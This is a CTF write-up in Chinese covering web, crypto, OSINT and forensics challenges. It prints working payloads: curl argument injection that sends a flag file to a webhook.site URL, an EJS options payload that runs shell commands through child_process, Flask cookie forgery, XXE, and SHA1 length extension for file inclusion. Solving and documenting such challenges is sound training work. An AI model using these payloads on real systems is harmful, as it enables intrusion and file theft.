Before all
這是我解的部分的writeup,因為本次解題量挺大,隊伍的可能要很晚出=w=
Team: ICEDTEA
Rank: 33/1360
跟冰茶一起打的,Web主要由我處理,整體而言題目不錯,不會難但有趣(?)
第一次打Online CTF有cert >w<b
已經開始期待下次大家一起打CTFㄌ,希望成績越來越好
Write Up
Web
Open Seasame
- Solver: Whale120(wha13)
一個bot介面(對外開在13336)跟一個web介面(通靈出對外開在13337)
bot介面長這樣,只能去造訪local 1337底下的路徑(會帶著admin的httponly cookie)
app.py
1 | from flask import Flask, request |
觀察兩個洞:
XSS:去post/api/stats
可以插資料,拿到的uuid可以去/api/stats/<uuid>
請求獲得資料,然後資料直接輸出
Command Injection:/api/cal
那邊,裸裸的subprocess.getoutput那段
Admin bot有個不能輸入cal這三個字母和不能輸入%的限制。
攻擊練:透過XSS admin帶著Command Injection Payload去fetch /api/cal
exp.py
1 | import requests as req |
Flag: CACI{1_l0v3_c0mm4nd_1nj3ct10n}
Impersonate
- Solver: Whale120(wha13)
app.py可以直接造訪1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66#!/usr/bin/env python3
from flask import Flask, request, render_template, jsonify, abort, redirect, session
import uuid
import os
from datetime import datetime, timedelta
import hashlib
app = Flask(__name__)
server_start_time = datetime.now()
server_start_str = server_start_time.strftime('%Y%m%d%H%M%S')
secure_key = hashlib.sha256(f'secret_key_{server_start_str}'.encode()).hexdigest()
app.secret_key = secure_key
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(seconds=300)
flag = os.environ.get('FLAG', "flag{this_is_a_fake_flag}")
secret = uuid.UUID('31333337-1337-1337-1337-133713371337')
def is_safe_username(username):
"""Check if the username is alphanumeric and less than 20 characters."""
return username.isalnum() and len(username) < 20
def main():
"""Handle the main page where the user submits their username."""
if request.method == 'GET':
return render_template('index.html')
elif request.method == 'POST':
username = request.values['username']
password = request.values['password']
if not is_safe_username(username):
return render_template('index.html', error='Invalid username')
if not password:
return render_template('index.html', error='Invalid password')
if username.lower().startswith('admin'):
return render_template('index.html', error='Don\'t try to impersonate administrator!')
if not username or not password:
return render_template('index.html', error='Invalid username or password')
uid = uuid.uuid5(secret, username)
session['username'] = username
session['uid'] = str(uid)
return redirect(f'/user/{uid}')
def user_page(uid):
"""Display the user's session page based on their UUID."""
try:
uid = uuid.UUID(uid)
except ValueError:
abort(404)
session['is_admin'] = False
return 'Welcome Guest! Sadly, you are not admin and cannot view the flag.'
def admin_page():
"""Display the admin page if the user is an admin."""
if session.get('is_admin') and uuid.uuid5(secret, 'administrator') and session.get('username') == 'administrator':
return flag
else:
abort(401)
def status():
current_time = datetime.now()
uptime = current_time - server_start_time
formatted_uptime = str(uptime).split('.')[0]
formatted_current_time = current_time.strftime('%Y-%m-%d %H:%M:%S')
status_content = f"""Server uptime: {formatted_uptime}<br>
Server time: {formatted_current_time}
"""
return status_content
if __name__ == '__main__':
app.run("0.0.0.0", port=9999)/status
獲得server time,然後用flask-unsign
簽回去就好1
flask-unsign --sign --cookie "{'is_admin': True, 'uid': '31333337-1337-1337-1337-133713371337', 'username': 'administrator'}" --secret 'af9e55089a3a20273e06f6443ba96ebe4f2c62a827d895feb16487cfca62b2d7'
KIRAN SAU PROBLEM
- Solver: Whale120(wha13)
一個Apache上面的php題目:
Dockerfile
1 | FROM php:7.2-fpm |
challenge.php
1 | <html> |
.htaccess
1 | <Files "challenge.php"> |
疑,那Apache版本呢?
請求看看/whale
Apache 2.4.59!!!
看到這個馬上聯想到 Orange大大的研究
簡單來說,我可以使用一個url encode後的問號去做Confusion Attack(.htaccess甚至長一模一樣)
繞過http authㄌ
接下來重點看看challenge.php裡面的這一段:
1 | function run($cc, $url) { |
可以看出雖然過濾了可以造成command injection的字元,但畢竟這題只是要讀檔,簡單利用一下Argument Injection就好了,像這樣:
1 | curl -F FLAG=@/get-here/flag.txt http://whale.meow |
最後,再看看這個Function的調用條件,必須滿足讀進來的第一個參數cc是空,於是追溯到這段看看:
1 | $yaml = <<<EOF |
可以發現是yaml讀國碼,使用The Norway Problem(link)的作法就能讓他變成一個不存在的變數,進而跑到run function那邊做Argument Injection
Final Payload:
1 | http://chal.competitivecyber.club:8090/challenge.php%3Fwhale.php?url=-F%20FLAG=@/get-here/flag.txt%20https://webhook.site/9ae03b9b-4d60-4062-8ce8-af02c23e1731&country=Norway |
P.S.因為沒過濾輸入,所以country也可以插入像是meow%0d$0a- country_code: False
之類的進行Yaml注入,不一定要做Norway Trick
Flag: PCTF{Kiran_SAU_Manifested}
dogdays
要讀取到/flag
,切入重點,打view.php
:
1 |
|
可以看到赤裸裸的LFI,但是他會用sha1去checksum,有撒鹽,所以需要做長度擴展攻擊。
Solve Script
sha1使用的是:https://github.com/William957-web/length-extension-attack/blob/main/length_extension_sha1/sha1.py
exp.py
1 | import hashlib |
Flag: pctf{3xt3nd_my_th4nk5_e9b5f6aa07}
Blob
index.js
1 | require("express")() |
標準的ejs傳入參數題,Github上面蠻多issue可以參考:ejs issue(link)
Payload:
1 | settings[view options][escapeFunction]=(() => {});return process.mainModule.require("child_process").execSync("cat flag*").toString()&settings[view options][client]=1 |
Flag: CACI{bl0b_s4y_pl3453l00k0utf0rpr0707yp3p0llut10n}
DOM DOM
app.py
1 | #!/usr/bin/env python |
幾個觀察,/check路徑會去把json資料parse出來之後拿去lxml的etree讀資料,最後把結果輸出,赤裸裸的XXE。
然後可以上傳圖片,去/meta路徑正好就可以拿到json格式的圖片資料
最後寫腳本改一下圖片info即可。
Exploit
1 | import requests as req |
p.s.附上wifu.png
Flag: PCTF{Y0u_D00m3D_U5_Man_So_SAD}
Crypto
idk cipher
- Solver: Whale120(wha13)
chal.py
1 |
|
ciphertext:QRVWUFdWEUpdXEVGCF8DVEoYEEIBBlEAE0dQAURFD1I=
然後檔案裡的srt_key是真的key,直接反著做
1 | import base64 |
Flag: pctf{234c81cf3cd2a50d91d5cc1a1429855f}
OSINT
Night School
- Solver: Whale120(wha13)
拿到一張照片,找雕像名字
題目敘述有提到FireFax,用Fairfax campus statue
為關鍵字搜尋就找到這篇Blog:https://academeblog.org/2020/04/23/the-silencing-of-contingent-faculty-voices-in-secret-presidential-searches/
Flag: pctf{Communitas}
Forensics
Bad Blood
拿到一個windows log file,要做一系列問答,基本上就是問腳本類型/protocol跟C2網路,但從頭到尾只注意到這個REPO:https://github.com/IAMinZoho/OFFSEC-PowerShell/,關於腳本的問題就直接把上面的東西list出來爆破就有。
Protocol:猜到Winrm, C2架構一樣爆…壯觀的爆破場面
Flag: pctf{3v3nt_l0gs_reve4l_al1_a981eb}
A Dire Situation
會拿到一個budget.wim的檔案,用7z把他拆開會拿到一個budget跟一個budget:streamingjpegjfif的檔案
拿streamingjpegjfif上網查一下會發現一種叫做mjpeg的檔案類型,簡單來說就是類似影片,把jfif stream起來
利用VCL Media Player跑起來發現畫面很短,拚手速:
Flag: pctf{alternate_d4t4_str3aming_&_chill}